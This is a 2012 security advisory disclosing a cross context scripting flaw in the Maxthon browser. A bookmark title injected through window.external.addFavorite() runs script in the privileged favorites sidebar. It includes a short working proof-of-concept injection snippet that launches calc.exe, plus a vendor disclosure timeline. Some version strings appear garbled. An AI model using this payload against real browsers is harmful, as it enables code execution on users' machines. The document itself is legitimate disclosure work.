Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 220.127.116.110 and previous versions
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf
Cross Context Scripting
- window.external.addFavorite() can be invoked in an automated fashion;
- The title entry can be tailored to hide the injection payload;
- URL of the bookmark can remain legitimate: e.g. www.google.com
The injected code is rendered at mx://res/sidebar/favorites/index.htm
Injection occurs under the following conditions/actions:
- User opens the Favorites sidebar on the left (just clicking on the Star icon, without clicking the malicious bookmark);
- User clicks on the bookmark link from the bookmark toolbar;
- User navigates to another tab after having added the malicious bookmark.
Malicious Add to Favorite Injection – HTML Source Code
padding="Google - www.google.com"
padding3=" - the best search engine - bookmark now!!!"
window.external.addFavorite("www.google.com",padding+"'><scri"+"pt>"+evilpayload+"</"+"script>"+" "+" "+padding+padding3)
<h3>Maxthon 18.104.22.1680 - Cross Context Scripting via Bookmark (title parameter) - Code Execution PoC</h3>
<font size="+1">Roberto Suggi Liverani - <a href="http://blog.malerisch.net">http://blog.malerisch.net</a> - <a href="https://twitter.com/malerisch">@malerisch</a></font>
<li>User is prompted to bookmark an innocuous looking bookmark, like the one shown in the middle of the screen. The injected payload can only be seen if the user scrolls on the left of the title element.
<li>User adds the bookmark.
<li>User then clicks on the Star (Favorites) icon or
<li>User clicks on the bookmark link from the bookmark toolbar.
<li>In both cases, calc.exe is executed.
The code for the exploit:<br>
Maxthon - Cross Context Scripting (XCS) - Bookmark Toolbar and Bookmark Sidebar
13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented
Do not use Maxthon browser.